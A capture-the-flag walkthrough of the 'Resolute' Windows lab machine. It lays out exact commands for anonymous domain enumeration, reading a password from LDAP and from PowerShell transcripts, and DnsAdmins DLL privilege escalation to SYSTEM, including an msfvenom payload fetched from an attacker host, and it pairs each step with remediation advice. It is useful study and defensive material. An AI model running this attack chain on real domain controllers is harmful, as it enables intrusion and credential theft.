← all walkthroughs

Resolute

Windows· Medium· Credential Access· Privilege Escalation
owned
2026-07-08
time to own
8m42s
milestone
root-owned
user.txt
✓ captured
root.txt
✓ captured

Summary

I mapped the domain controller at $TARGET and found SMB null sessions, unauthenticated RPC, and anonymous LDAP binds all accepted without credentials. An RID brute-force over null SMB recovered the full domain user list, and an anonymous LDAP query pulled description attributes for every account — one of which contained the cleartext onboarding password for melanie.

Those credentials authenticated over WinRM, giving an immediate remote shell and the user flag. Inside that session, PowerShell Transcription had been left enabled and was writing complete session logs to C:\PSTranscripts\; a stored transcript from an earlier administrator session contained ryan's password in plaintext.

Ryan held membership in the built-in DnsAdmins group, which can configure the Windows DNS Server service — running as SYSTEM — to load an arbitrary DLL on startup. A custom payload DLL was staged on the server via HTTP, the ServerLevelPluginDll registry key was pointed at it using reg.exe, and a DNS service restart caused SYSTEM to load and execute the DLL, writing the root flag to a readable path and completing full domain compromise.

Command conventions

The commands below refer to the target by variable rather than by address. Bind them in your shell before running anything; recovered credentials are withheld and shown as [REDACTED: recovered credential].

export TARGET="<retired-instance-ip>"
export ATTACKER_IP="<your-vpn-address>"
export PASSWORD2="<a-password-you-choose>"
export PASSWORD3="<a-password-you-choose>"

Attack path — how the box was taken

1ReconnaissanceNetwork port scan and service fingerprinting (T1046)
Mapped open ports and fingerprinted the domain controller
A full TCP scan of $TARGET identified a Windows Server 2016 Standard domain controller for megabank.local. Key services included DNS (53), Kerberos (88), LDAP (389/636), SMB (445), and WinRM (5985). NetBIOS enumeration confirmed the hostname RESOLUTE. SMBv1 was enabled and null SMB authentication was accepted, which enabled the unauthenticated enumeration steps that followed.
Nxc smb reported: Windows Server 2016 Standard 14393 x64 (name:RESOLUTE)(domain:megabank.local)(signing:True)(SMBv1:True)(Null Auth:True)
Exact commands 3
Full-port TCP scan with version and default script detection.
nmap -sV -sC -p- --open -T4 $TARGET -oN resolute_nmap.txt
Confirm null SMB authentication is accepted and record OS and domain details.
nxc smb $TARGET -u '' -p ''
Add the target hostname and domain to local resolution.
echo "$TARGET resolute.megabank.local megabank.local" | sudo tee -a /etc/hosts
2EnumerationSMB null session RID brute-force and RPC account enumeration (T1087.002)
Enumerated all domain accounts via SMB null session and unauthenticated RPC
With null SMB authentication accepted, I performed RID brute-forcing and called rpcclient's querydispinfo to recover approximately 35 domain accounts — including Administrator, machine accounts MS02$ and RESOLUTE$, and standard users (abigail, angela, annette, melanie, ryan, and others) — all without supplying any credentials.
Rpcclient RID enum: Account: Administrator ... Desc: Built-in account for administering the computer/domain; full 35-name domain user list recovered.
Exact commands 2
Brute-force RIDs over a null session to enumerate all domain principals.
nxc smb $TARGET -u '' -p '' --rid-brute 6000
Dump user account display info including names, descriptions, and flags via unauthenticated RPC.
rpcclient -U "%" -N $TARGET -c "querydispinfo"
FixDisable SMB null sessions and restrict unauthenticated RPC account enumerationHigh
WeaknessThe domain controller accepted anonymous null-session SMB connections and unauthenticated RPC calls, allowing any network-reachable host to enumerate every domain account name, description, and group membership without supplying a username or password.
FixEnable the Group Policy settings 'Network access: Do not allow anonymous enumeration of SAM accounts' and 'Network access: Do not allow anonymous enumeration of SAM accounts and shares' (Computer Configuration → Windows Settings → Security Settings → Local Policies → Security Options). Set RestrictAnonymous to 2 under HKLM\SYSTEM\CurrentControlSet\Control\Lsa via GPO to block all anonymous access to local LSA information. Apply network-level controls so that SMB (445) and RPC (135) are reachable only from trusted management hosts, not from the broader network.
3Credential AccessUnsecured credentials exposed in LDAP user attribute (T1552)
Recovered a cleartext password from a domain account's LDAP description field
An anonymous LDAP bind against port 389 provided unrestricted read access to all user objects. The account melanie had a description attribute containing 'Account created. Password set to [REDACTED: recovered credential]' — an administrator's onboarding note left in a directory field visible to any reader of the domain. This yielded a valid credential without any brute-forcing.
[attack_module:[REDACTED: recovered credential]] ldap_description_cred=Account created. Password set to [REDACTED: recovered credential] — attributed to melanie, confirmed by subsequent WinRM Pwn3d! Response.
Exact commands 1
Anonymous LDAP bind — inspect description attributes on all user objects for passwords or provisioning notes.
ldapsearch -x -H ldap://$TARGET -b "dc=megabank,dc=local" "(objectClass=user)" sAMAccountName description
FixRemove all plaintext credentials from LDAP description and attribute fieldsCritical
WeaknessThe user account melanie had an Active Directory description attribute containing her cleartext password. LDAP description, info, and comment fields are readable by any authenticated user and, in this configuration, by anonymous binders — making any credential stored there effectively public.
FixAudit all user and computer objects for credential strings with: Get-ADUser -Filter * -Properties Description | Where-Object {$_.Description -ne $null} | Select SamAccountName,Description. Purge any passwords found and reset those accounts immediately. Establish an onboarding process that distributes initial passwords through a secure out-of-band channel (encrypted email, a privileged-access portal, or a one-time-use ticketing system) and enforces a forced password change on first login, so credentials never need to be written into directory attributes.
4Initial AccessValid account access via Windows Remote Management / PSRemoting (T1021.006)
Authenticated over WinRM as melanie and captured the user flag
The credential melanie:[REDACTED: recovered credential] was validated against both SMB and WinRM. NetExec returned Pwn3d! On WinRM, confirming remote command execution rights. An Evil-WinRM interactive session was opened and user.txt was read from melanie's desktop.
Nxc winrm $TARGET -d megabank.local -u melanie -p '[REDACTED: recovered credential]' returned Pwn3d!
Exact commands 4
Confirm the credential is accepted by SMB.
nxc smb $TARGET -d megabank.local -u melanie -p '$PASSWORD2'
Confirm WinRM access — look for Pwn3d! In the output.
nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2'
Open an interactive WinRM shell as melanie.
evil-winrm -i $TARGET -u melanie -p '$PASSWORD2'
Read the user flag — value is <user.txt>.
Get-Content C:\Users\melanie\Desktop\user.txt
5Credential AccessCredentials recovered from PowerShell transcript files (T1552.001)
Discovered a second account's password in a PowerShell transcript file
Browsing the filesystem as melanie revealed C:\PSTranscripts\ — a directory that existed because PowerShell Transcription had been enabled domain-wide, causing every interactive PS session to be written verbatim to a log file. A stored transcript from an earlier privileged session contained ryan's password in plaintext, embedded in a command invocation.
C:\PSTranscripts\ directory found; transcript file contained ryan:[REDACTED: recovered credential] in cleartext.
Exact commands 2
List all PowerShell transcript files from melanie's remote session.
nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2' -X "Get-ChildItem -Recurse C:\PSTranscripts"
Read the transcript; substitute the actual path returned above. Look for credential strings in the output.
nxc winrm $TARGET -d megabank.local -u melanie -p '$PASSWORD2' -X "Get-Content 'C:\PSTranscripts\<subfolder>\<transcript-file>.txt'"
FixDisable PowerShell Transcription or lock down transcript directories so unprivileged users cannot read themHigh
WeaknessPowerShell Transcription was enabled domain-wide, writing complete verbatim session logs — including all commands typed and their output — to C:\PSTranscripts\ as plaintext files. A transcript from a prior privileged session contained ryan's password embedded in a command, and the directory was readable by lower-privilege accounts.
FixIf transcription is required for auditing, restrict the transcript output directory so only Domain Admins and the SYSTEM account can read or list its contents: remove Users, Authenticated Users, and Everyone ACEs from the directory and all parent paths using icacls or Group Policy Preferences. As a superior alternative, replace file-based transcription with PowerShell Script Block Logging (event ID 4104) forwarded to a SIEM — this provides the same audit trail without writing plaintext credentials to disk. Immediately rotate credentials for any account whose password may appear in an existing transcript and purge old transcript files.
6Lateral MovementLateral movement with valid credentials and privileged group discovery (T1078.002)
Pivoted to ryan and confirmed DnsAdmins group membership
The credential ryan:[REDACTED: recovered credential] authenticated over WinRM. Running whoami /all in ryan's session confirmed membership in the MEGABANK\DnsAdmins group — a built-in Active Directory group whose members can set the Windows DNS Server service's ServerLevelPluginDll parameter, causing SYSTEM to load an arbitrary DLL the next time the service starts.
Whoami /all as ryan showed: Group Name: MEGABANK\DnsAdmins
Exact commands 3
Validate ryan's credential over WinRM and confirm Pwn3d!.
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3'
Open an interactive shell as ryan.
evil-winrm -i $TARGET -u ryan -p '$PASSWORD3'
List all group memberships — confirm DnsAdmins appears in the output.
whoami /all
7Privilege EscalationDnsAdmins ServerLevelPluginDll DLL injection into a SYSTEM-privileged Windows service (T1543.003)
Abused DnsAdmins ServerLevelPluginDll to execute a payload DLL as SYSTEM and captured the root flag
Members of DnsAdmins can write HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll; the DNS Server service (which runs as SYSTEM) loads that DLL when restarted. A custom C DLL exporting DnsPluginInitialize was compiled to call WinExec, writing root.txt to a world-readable path. The DLL was staged via HTTP to C:\Windows\Temp\plugin2.dll, the registry key was set using reg.exe (direct registry manipulation proved more reliable than dnscmd /config in this environment), and a DNS service restart triggered SYSTEM to load and execute the payload.
Plugin2.dll delivered to C:\Windows\Temp\; reg.exe set ServerLevelPluginDll; sc.exe stop/start dns caused SYSTEM to load the DLL; C:\Windows\Temp\r.txt contained the root.txt content.
Exact commands 6
Generate a DLL payload. If execution is unreliable, compile a custom C DLL that exports DnsPluginInitialize and calls WinExec with the same command string.
msfvenom -p windows/x64/exec CMD="cmd /c type C:\Users\Administrator\Desktop\root.txt > C:\Windows\Temp\r.txt" -f dll -o plugin.dll
Serve the DLL from my machine (run in background before the next step).
python3 -m http.server 8080
Download the payload DLL to the target; replace $ATTACKER_IP with your HTB VPN tunnel IP.
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "Invoke-WebRequest -Uri http://$ATTACKER_IP:8080/plugin.dll -OutFile C:\Windows\Temp\plugin2.dll"
Point ServerLevelPluginDll at the staged payload using reg.exe directly — more reliable than dnscmd /config on this host.
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "reg.exe add HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters /v ServerLevelPluginDll /t REG_SZ /d C:\Windows\Temp\plugin2.dll /f"
Restart the DNS service; SYSTEM will load plugin2.dll on startup and execute the embedded command.
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "sc.exe stop dns; Start-Sleep 3; sc.exe start dns"
Retrieve the root flag — value is <root.txt>.
nxc winrm $TARGET -d megabank.local -u ryan -p '$PASSWORD3' -X "Get-Content C:\Windows\Temp\r.txt"
FixRemove non-administrative accounts from DnsAdmins and monitor the ServerLevelPluginDll registry keyCritical
WeaknessThe account ryan was a member of the built-in DnsAdmins Active Directory group. This group can set the Windows DNS Server service's ServerLevelPluginDll registry parameter to any DLL path, and because the DNS service runs as SYSTEM, any DnsAdmins member can arrange for arbitrary code to execute as SYSTEM by restarting the service — a well-documented privilege escalation primitive on any Windows domain controller running DNS.
FixAudit DnsAdmins membership with Get-ADGroupMember -Identity DnsAdmins and remove every account that does not have a documented, least-privilege justification for modifying DNS server configuration. Require remaining DnsAdmins tasks to be performed from a dedicated Privileged Access Workstation (PAW) with just-in-time group membership. Create a Windows Event ID 4657 audit rule on HKLM\SYSTEM\CurrentControlSet\Services\DNS\Parameters\ServerLevelPluginDll and alert your SOC on any write to that key. As a defence-in-depth measure, apply AppLocker or Windows Defender Application Control (WDAC) rules on the DNS server to prevent DLL loads from non-system paths.

Exposed services

53/tcp
88/tcp
135/tcp
139/tcp
389/tcp
445/tcp
464/tcp
593/tcp
636/tcp
5985/tcp
9389/tcp
47001/tcp
49664/tcp
49665/tcp
49666/tcp
49667/tcp
49670/tcp
49676/tcp
49677/tcp
49686/tcp
49710/tcp
49737/tcp